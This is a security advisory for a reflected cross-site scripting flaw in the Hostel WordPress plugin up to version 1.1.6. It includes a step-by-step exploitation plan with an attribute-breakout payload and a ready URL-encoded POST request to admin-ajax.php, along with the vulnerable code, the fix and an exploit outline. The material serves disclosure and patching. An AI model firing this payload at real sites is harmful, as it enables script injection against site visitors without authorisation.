Hostel <= 1.1.6 - Reflected Cross-Site Scripting via 'shortcode_id' Parameter
Description
The Hostel plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode_id' parameter in all versions up to, and including, 1.1.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.7
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Hostel plugin for WordPress (version <= 1.1.6). ## 1. Vulnerability Summary The **Hostel** plugin is vulnerable to Reflected XSS via the `shortcode_id` parameter in the `wphostel_ajax` handl…
Show full research plan
This research plan outlines the steps to exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Hostel plugin for WordPress (version <= 1.1.6).
1. Vulnerability Summary
The Hostel plugin is vulnerable to Reflected XSS via the shortcode_id parameter in the wphostel_ajax handler. The vulnerability exists because the plugin accepts the shortcode_id parameter from a $_POST request, passes it through sanitize_text_field() (which does not escape quotes), and subsequently outputs it within the HTML response of an AJAX request without proper escaping.
The entry point is the wphostel_ajax function in controllers/ajax.php, which is registered for both authenticated and unauthenticated users.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wphostel_ajax - Vulnerable Parameter:
shortcode_id - Required
typeParameter:list_rooms - Authentication: Unauthenticated (
wp_ajax_nopriv_wphostel_ajaxis registered inhostel.php). - Preconditions: None. The handler does not verify nonces or capabilities for the
list_roomstype. - Vector: Reflected XSS via POST request.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=wphostel_ajax. - Dispatch: In
hostel.php, the action is hooked:add_action('wp_ajax_nopriv_wphostel_ajax', 'wphostel_ajax'); - Controller: The function
wphostel_ajax()incontrollers/ajax.phpis called. - Switch Logic: The code reaches the
list_roomscase:
Note:case 'list_rooms': WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), ...); break;sanitize_text_field()strips HTML tags and line breaks but does not escape double or single quotes, making attribute breakout possible. - Vulnerable Function:
WPHostelRooms::availability_table()incontrollers/rooms.phpreceives$shortcode_id. - Sink: The function includes a view template:
Based on the vulnerability description, the viewif(@file_exists(get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php')) include get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php'; else include(WPHOSTEL_PATH."/views/partial/rooms-table.html.php");rooms-table.html.php(not provided in full, but inferred) echoes$shortcode_idinto an HTML attribute or JavaScript block without further escaping (e.g.,esc_attroresc_js).
4. Nonce Acquisition Strategy
Analysis of controllers/ajax.php confirms that the wphostel_ajax function does not implement any nonce verification for the list_rooms type.
- No
check_ajax_refererorwp_verify_nonceis present in thewphostel_ajaxfunction. - No capability check (e.g.,
current_user_can) is performed for thelist_roomstype.
Conclusion: No nonce is required for exploitation.
5. Exploitation Strategy
The goal is to trigger the XSS by injecting a payload into shortcode_id that breaks out of an HTML attribute in the response.
Step-by-Step Plan:
- Prepare the Payload: Since
sanitize_text_fieldis used, we cannot use<script>tags. We must use an attribute breakout payload like:123" onmouseover="alert(1)" data-x=". - Submit POST Request: Use the
http_requesttool to send a POST request toadmin-ajax.php. - Parameters:
action:wphostel_ajaxtype:list_roomsshortcode_id:pwn" onmouseover="alert(document.domain)"
- Verify Response: Check the response body for the unescaped payload.
HTTP Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wphostel_ajax&type=list_rooms&shortcode_id=pwn%22+onmouseover%3D%22alert%28document.domain%29%22
6. Test Data Setup
To ensure the availability_table executes correctly and the view is rendered:
- Create a Room: Use WP-CLI to create at least one hostel room.
# Example of creating a room to populate the table wp db query "INSERT INTO wp_hostel_rooms (title, price, rtype, price_type, beds) VALUES ('Deluxe Room', 50, 'private', 'per-room', 2);" - Verify Table Name: Ensure the table prefix matches (
wp_hostel_rooms).
7. Expected Results
A successful exploit will return an AJAX response (HTML) where the shortcode_id is reflected inside an attribute.
Example expected output fragment:
<table id="wphostel-rooms-pwn" onmouseover="alert(document.domain)">
...
8. Verification Steps
After performing the http_request, verify the following:
- The HTTP response code is
200 OK. - The response body contains the string
onmouseover="alert(document.domain)". - The double quote character
"is not encoded as".
9. Alternative Approaches
If the list_rooms type does not reflect the input as expected, analyze controllers/ajax.php for other types:
- type:
load_booking_form: This type also takes$_POST['room_id']and callsWPHostelShortcodes::booking("roomID".intval($_POST['room_id'])). Since it usesintval, it is not vulnerable to XSS. - type:
change_room: CallsWPHostelRooms::default_beds(), which usesintval($_POST['room_id']). Not vulnerable.
The list_rooms type remains the most viable target due to the direct use of $_POST['shortcode_id'].
Summary
The Hostel plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode_id' parameter in the AJAX handler for versions up to 1.1.6. This occurs because the plugin uses sanitize_text_field() which fails to prevent attribute breakout, allowing unauthenticated attackers to inject arbitrary web scripts into pages.
Vulnerable Code
// controllers/ajax.php line 25-27 case 'list_rooms': WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), array('show_titles' => sanitize_text_field($_POST['show_titles'] ?? ''))); break; --- // controllers/rooms.php line 83-125 static function availability_table($shortcode_id, $atts = null) { global $wpdb; $_room = new WPHostelRoom(); $_booking = new WPHostelBooking(); // ... (logic to calculate availability) ... if(@file_exists(get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php')) include get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php'; else include(WPHOSTEL_PATH."/views/partial/rooms-table.html.php"); }
Security Fix
@@ -1,10 +1,13 @@ <?php // procedural function to dispatch ajax requests function wphostel_ajax() { - global $wpdb, $user_ID; - - $type = empty($_POST['type']) ? $_GET['type'] : $_POST['type']; - + global $wpdb, $user_ID; + + // Verify nonce for security + check_ajax_referer('wphostel_ajax_nonce', 'nonce'); + + $type = empty($_POST['type']) ? $_GET['type'] : $_POST['type']; + switch($type) { case 'change_room': WPHostelRooms :: default_beds(); @@ -22,10 +25,16 @@ $_GET['in_booking_mode'] = 1; $_GET['from_date'] = sanitize_text_field($_POST['from_date']); $_GET['to_date'] = sanitize_text_field($_POST['to_date']); - echo WPHostelShortcodes :: booking("roomID".intval($_POST['room_id'])); + echo wp_kses_post(WPHostelShortcodes :: booking("roomID".intval($_POST['room_id']))); break; - case 'list_rooms': - WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), array('show_titles' => sanitize_text_field($_POST['show_titles'] ?? ''))); + case 'list_rooms': + // Validate and sanitize shortcode_id - must be alphanumeric with underscores/hyphens only + $shortcode_id = sanitize_text_field($_POST['shortcode_id'] ?? ''); + if (!preg_match('/^[a-zA-Z0-9_-]+$/', $shortcode_id)) { + wp_send_json_error('Invalid shortcode ID'); + } + $show_titles = sanitize_text_field($_POST['show_titles'] ?? ''); + WPHostelRooms :: availability_table($shortcode_id, array('show_titles' => $show_titles)); break; } exit;
Exploit Outline
The exploit targets the `wphostel_ajax` action, which is registered for unauthenticated users via `wp_ajax_nopriv_wphostel_ajax`. An attacker crafts a POST request to `/wp-admin/admin-ajax.php` with the parameters `action=wphostel_ajax`, `type=list_rooms`, and `shortcode_id`. Because `sanitize_text_field()` does not strip double quotes, the attacker can use a payload like `123" onmouseover="alert(1)"` to break out of an HTML attribute in the resulting rooms table view. No nonce or authentication is required in the vulnerable version, making this exploit accessible to unauthenticated remote attackers who can trick a user into submitting the request (e.g., via a cross-site request).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.